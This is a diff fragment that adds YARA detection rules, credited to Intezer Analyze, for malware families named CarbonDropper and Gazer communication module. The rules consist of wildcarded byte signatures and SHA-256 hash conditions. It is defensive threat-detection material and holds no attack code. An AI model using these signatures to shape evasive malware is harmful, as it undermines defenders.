+		$block_15 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_16 = { 6A ?? E8 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_17 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 8B ?? ?? A5 A5 A5 8D ?? ?? 5? A5 E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_19 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 5? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 5? 33 ?? 33 ?? 0F A2 5? 8D ?? ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? 39 ?? ?? 7D }
+		$block_21 = { 89 ?? ?? 89 ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_22 = { 8B ?? ?? DD ?? 8B ?? ?? DD ?? DD ?? DD ?? DD ?? 8B ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? C9 C3 }
+		$block_23 = { 4C ?? ?? 48 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 48 ?? ?? ?? 0F 44 ?? 8B }
+		$block_24 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? A1 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_26 = { 8B ?? ?? A5 A5 A5 A5 83 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? C2 }
+		$block_27 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? 4? 3B ?? 72 }
+		$block_29 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? 73 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 6A ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_31 = { 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 6A ?? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_34 = { 8B ?? ?? 03 ?? ?? 8B ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_36 = { 5? 5? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_37 = { 83 ?? ?? ?? 68 ?? ?? ?? ?? 5? 0F 94 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_38 = { 5? 8B ?? 8B ?? ?? 8B ?? ?? 03 ?? 0F B7 ?? ?? 8D ?? ?? ?? 0F B7 ?? ?? 4? 74 }
+		$block_39 = { 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 39 ?? ?? 73 }
+		$block_41 = { 33 ?? 0F A2 8D ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 4? }
+		$block_42 = { 5? 5? FF 7? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_43 = { 8B ?? 2B ?? 99 B9 ?? ?? ?? ?? F7 ?? 33 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 89 ?? F7 ?? 1B ?? 25 ?? ?? ?? ?? 05 ?? ?? ?? ?? C9 C3 }
+		$block_45 = { 8D ?? ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_46 = { 5? 6A ?? 8D ?? ?? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_47 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? 66 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? E9 }
+		$block_48 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? 66 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_49 = { 8B ?? ?? 03 ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 5? 8B ?? 8B ?? ?? 8B ?? 5? 8B ?? ?? 2B ?? 5? 99 2B ?? 8B ?? D1 ?? 79 }
+		$block_51 = { 8B ?? ?? 8B ?? A5 A5 A5 A5 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_52 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 33 ?? 3B ?? 0F 85 }
+		$block_53 = { FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_54 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? EB }
+		$block_55 = { 0F B7 ?? ?? 33 ?? 8D ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 73 }
+		$block_56 = { 2B ?? 8B ?? ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 33 ?? 89 ?? 8B ?? ?? 5? 5? 3B ?? 0F 84 }
+		$block_58 = { 68 ?? ?? ?? ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_59 = { 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? A5 A5 A5 A5 EB }
+		$block_60 = { 6A ?? 5? 03 ?? 0F B6 ?? 0F B6 ?? ?? C1 ?? ?? 8D ?? ?? ?? 3B ?? 7F }
+		$block_61 = { E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_62 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? 8B ?? C1 ?? ?? 03 ?? 3B ?? 0F 9F }
+		$block_63 = { 8D ?? ?? ?? ?? ?? ?? 9? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 88 ?? ?? EB }
+		$block_65 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_67 = { 5? 5? 8B ?? ?? 8B ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
+		$block_69 = { 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 80 7? ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 8B ?? ?? 2B ?? 2B ?? ?? 0F AF ?? 8B ?? ?? 3B ?? 7E }
+		$block_71 = { BF ?? ?? ?? ?? 89 ?? ?? 45 ?? ?? 41 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_72 = { 0F BE ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_73 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_75 = { 0F B7 ?? ?? 03 ?? 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 3B ?? 72 }
+		$block_76 = { 8D ?? ?? 5? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_78 = { 83 ?? ?? D1 ?? 0F B7 ?? 33 ?? 89 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_79 = { 38 ?? ?? ?? ?? ?? 0F 94 ?? 89 ?? ?? 5? 3A ?? 8B ?? 0F 84 }
+		$block_80 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_82 = { C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_83 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 5? 3B ?? 0F 84 }
+		$block_84 = { 83 ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 8E }
+		$block_85 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 38 ?? ?? ?? ?? ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_87 = { 0F BE ?? E8 ?? ?? ?? ?? 88 ?? ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_88 = { 2B ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 3B ?? ?? 0F 87 }
+		$block_89 = { E8 ?? ?? ?? ?? 33 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_90 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_91 = { 2B ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 3B ?? ?? 0F 83 }
+		$block_92 = { 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? 48 ?? ?? 49 ?? ?? 72 }
+		$block_93 = { 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_94 = { 83 ?? ?? D1 ?? 0F B7 ?? 33 ?? 89 ?? ?? 85 ?? 74 }
+		$block_95 = { 5? C6 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 94 ?? 88 }
+		$block_96 = { 03 ?? 6A ?? 99 5? F7 ?? 39 ?? ?? ?? ?? ?? 0F 9F }
+		$block_97 = { 66 ?? ?? 0F 95 ?? ?? 33 ?? 66 ?? ?? 66 ?? ?? 74 }
+		$block_98 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_99 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "ff22dbefce16adfc684fb79f4b8cd441a7f08fa34ba1d9b28724e7b32dbd62b4" or
+		hash.sha256(0, filesize) == "69389f0d35d003ec3c9506243fd264afefe099d99fcc0e7d977007a12290a290" or
+		hash.sha256(0, filesize) == "1950d2e706fbc6263d376c0c4f16bd5acfd543248ee072657ba3dd62da8427eb" or
+		hash.sha256(0, filesize) == "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27" or
+		hash.sha256(0, filesize) == "80cf8753ef6e1efd55f5f7afb20571472030e589ceb9423f91384dae51dfca36" or
+		hash.sha256(0, filesize) == "10bca4fbbd39a86211d8b18622de1760992e81d4a45c1b45c8062faf30bbb7f8" or
+		hash.sha256(0, filesize) == "b52285393bd75897662c662bcfef0d3e3a0b185fd297c325ffe283abafa93f65" or
+		hash.sha256(0, filesize) == "eeb7784b77d86627bac32e4db20da382cb4643ff8eb86ab1abaebaa56a650158" or
+		hash.sha256(0, filesize) == "3a5918c69b6ee801ab8bfc4fc872ac32cc96a47b53c3525723cc27f150e0bfa3" or
+		12 of them
+}
+
+rule CarbonDropper_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_4 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_5 = { 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 0F B7 ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_9 = { 48 ?? ?? ?? 33 ?? 48 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_10 = { 0F B7 ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_11 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_12 = { 0F B7 ?? 48 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "aaa2afe68852cb76bccf7dbb0b541a5d62b7f0b15e47f0a24e63f68f50af167c" or
+		12 of them
+}
+
+rule GazerCommunicationModule_x64_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 44 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 4C ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 45 ?? ?? ?? 41 ?? ?? 49 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_1 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 0F 85 }
+		$block_2 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 0F 85 }
+		$block_3 = { 8B ?? 48 ?? ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 8B ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? ?? 8B ?? 44 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 8B ?? ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? ?? 41 ?? ?? 4D ?? ?? 48 ?? ?? ?? 49 ?? ?? 33 ?? ?? ?? ?? ?? ?? 42 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? 49 ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? 41 ?? 44 ?? ?? ?? 0F B6 ?? ?? 49 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 48 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? BD ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F B6 ?? ?? 41 ?? ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 23 ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 0F B7 ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? C1 ?? ?? 44 ?? ?? 45 ?? ?? 41 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? 45 ?? ?? 41 ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? ?? 41 ?? ?? 41 }
+		$block_5 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 8B ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 44 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_6 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? B1 ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? B1 ?? 4C ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? 48 ?? ?? ?? ?? 4C ?? ?? 80 E? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 88 ?? ?? FF 1? ?? ?? ?? ?? C0 ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 8A ?? 4C ?? ?? E8 ?? ?? ?? ?? 4D ?? ?? C6 ?? ?? ?? 88 ?? ?? B8 ?? ?? ?? ?? 45 ?? ?? ?? 45 ?? ?? F7 ?? 8B ?? C1 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6B ?? ?? 2B ?? 89 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 48 ?? ?? ?? ?? 99 2B ?? D1 ?? 8D ?? ?? 89 }
